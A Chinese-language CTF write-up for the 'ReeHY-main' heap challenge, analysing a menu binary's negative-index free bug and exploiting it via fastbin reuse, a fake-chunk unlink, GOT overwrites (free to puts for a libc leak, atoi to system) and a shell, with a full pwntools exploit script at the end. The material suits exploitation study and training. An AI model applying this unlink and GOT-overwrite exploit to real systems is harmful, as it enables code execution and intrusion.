1. 程式人生 > >萬能鑰匙ctf--4-ReeHY-main除錯記錄--unlink

萬能鑰匙ctf--4-ReeHY-main除錯記錄--unlink

 

 

查詢題目保護開啟,發現只開了NX,未開啟RELRO和PIE,思路可以從修改got表展開。

 

 

ida裝載分析程式執行流程,main函式發現是一個常規的選單類題目,推測為堆相關題目。

 

 

Malloc函式。分配最大不超過4096,且如果大小超過112就直接放入堆區,否則先存入棧區,再拷貝到堆區。存在結構體儲存堆大小、堆指標以及標記是否分配。

 

 

 

Delete函式。直接刪除,並沒有判斷標記是否被刪除。刪除後標記置0,但是未進行指標置0,存在uaf情況,可利用點為double free。觀察沒有判斷輸入為負的情況,可能存在問題。

 

 

Edit函式。判斷是否被釋放,未被釋放才可以編輯。向堆區輸入長度為申請時結構體儲存的長度的字串。

 

 

Show功能無效

 

 

利用思路:

從free函式分析來看,首先未判斷free的塊號是否為負,可能存在釋放後再申請記憶體不缺定的情況,可能分配到關鍵地方。

 

使用free(-2)會釋放儲存堆塊大小陣列的記憶體地址,再申請即可申請回來該地址從而進行修改。

 

 

上圖即是儲存申請堆塊大小的陣列內容,是一個size為20的堆塊。

至於為什麼要free(-2),我們從free函式的彙編程式碼分析,我們重點關注輸入和free之間發生了什麼。從下圖中看出,首先比較輸入是否小於4,接著將輸入邏輯左移4位後值為-32,即0x20。因此執行彙編程式碼後釋放的為0x6020c0,即儲存堆大小的記憶體區域。

 

由於該塊大小為0x20,即屬於fastbin,我們可以釋放後再申請同樣大小的堆塊即可返回該記憶體區域。通過下圖的payload修改chunk0地址為0x100,用於覆蓋chunk1。

 

 

接著我們可以編輯chunk0,我們在chunk0中偽造一個chunk,其狀態為釋放,fd和bk指標指向0x6020e0,該值儲存的為申請的堆塊指標。我們利用該指標進行unlink檢查的繞過,執行完unlink後該值會被改為0x6020e0-0x18,即0x6020c8。這時,當我們再次編輯chunk0時,我們編輯的實際地址為0x6020c8,我們可以通過該地址溢位控制後面地址。

 

 

現在,我們在編輯chunk0即從0x6020c8開始編輯,通過覆蓋修改結構體的值與是否分配的標記。

 

 

現在我們還缺少system的地址。我們通過修改free函式為puts函式來打印出puts的真實地址。這裡有個坑點需要注意,在修改got的值時,不能用sendline函式,也就是說不能在末尾自動加\xa0,會出錯,因此需要將edit函式做修改,使得傳送的內容為io.send(content)。

 

 

這之後,我們還缺少“/bin/sh”字串,觀察程式,我們發現atoi函式需要我們輸入引數,而呼叫system函式也需要我們輸入引數,因此我們把atoi函式改為system函式,併發送/bin/sh字串。這裡不知道為什麼執行完上述free(1)後竟然自動recv了剩下的字元,沒辦法用edit,只能手寫一下。

 

 

完整exp如下:

  1 #!/usr/bin/env python
  2 # coding=utf-8
  3 
  4 from pwn import *
  5 DEBUG = True
  6 
  7 if DEBUG:
  8     io = process('./pwn3')
  9     libc = ELF('./ctf.so.6')
 10     context.log_level = 'debug'
 11 else:
 12     io = remote('172.168.17.2',10001)
 13 
 14 def welcome():
 15     io.recvuntil('$ ')
 16     io.sendline('frdqy')
 17 
 18 def add(size,index,content):
 19     io.recv()
 20     io.sendline('1')
 21     io.recv(1024)
 22     io.sendline(str(size))
 23     io.recv(1024)
 24     io.sendline(str(index))
 25     io.recv(1024)
 26     io.sendline(str(content))
 27 
 28 def free(index):
 29     io.recv()
 30     io.sendline('2')
 31     io.recv(1024)
 32     io.sendline(str(index))
 33 
 34 def edit(index,content):
 35     io.recv()
 36     io.sendline('3')
 37     io.recv(1024)
 38     io.sendline(str(index))
 39     io.recv(1024)
 40     io.send(content)
 41 
 42 system_off = libc.symbols['system']
 43 puts_off = libc.symbols['puts']
 44 g_point = 0x6020e0      #儲存申請堆塊的結構體
 45 fd = g_point-0x18       #unlink繞過檢查
 46 bk = g_point-0x10       #unlink繞過檢查
 47 free_got = 0x602018
 48 puts_got = 0x602020
 49 atoi_got = 0x602058
 50 puts_plt = 0x4006d0
 51 
 52 def exp():
 53     welcome()
 54     add(0x80,0,'a'*0x80)
 55     add(0x80,1,'b'*0x80)
 56     
 57     #gdb.attach(io)
 58     free(-2)            #釋放後在申請會返回到儲存堆塊大小的陣列記憶體上
 59     
 60     payload = ''
 61     payload += p32(0x80*2)
 62     payload += p32(0x80)
 63     payload += p32(0)
 64     payload += p32(0)
 65     add(20,2,payload)   #修改已申請的堆塊大小分別為0x100、0x80,填充剩下的值
 66 
 67     #溢位塊0
 68     payload = ''
 69     payload += p64(0)   #chunk0 pre_size
 70     payload += p64(0x81)#chunk0 size
 71     payload += p64(fd)  #chunk0 fd
 72     payload += p64(bk)  #chunk0 bk
 73     payload += 'a'*(0x80-32)
 74     payload += p64(len(payload))    #chunk1 pre_size
 75     payload += p64(0x90)    #chunk1 size
 76     edit(0,payload)
 77 
 78     #unlink
 79     free(1)
 80     
 81     #再編輯chunk0,實際編輯的就是g_point - 0x18的值,可以覆蓋到儲存堆指標的結構體
 82     payload = ''
 83     payload += p64(0)
 84     payload += p64(0)
 85     payload += p64(0)
 86     payload += p64(free_got)    #第一項修改為free_got
 87     payload += p64(1)
 88     payload += p64(puts_got)    #第二項修改為puts_got
 89     payload += p64(1)
 90     payload += p64(atoi_got)    #第三項修改為atoi_got
 91     payload += p64(1)
 92     edit(0,payload)
 93 
 94     #此時在編輯chunk0、chunk1、chunk2即可修改對應的函式值
 95     #修改free_got的值為puts從而洩漏計算出libc載入地址
 96     edit(0,p64(puts_plt))
 97    
 98     #列印puts_got的值
 99     free(1)
100     puts_addr =u64(io.recv()[0:6]+'\x00\x00')
101     system_addr = puts_addr - puts_off + system_off
102     
103     #將atoi改為system
104     #edit(2,p64(system_addr))
105     io.sendline('3')
106     io.recv()
107     io.sendline('2')
108     io.recv()
109     io.sendline(p64(system_addr))
110  
111     #輸入/bin/sh
112     io.sendline('/bin/sh')
113     io.interactive()
114     
115 exp()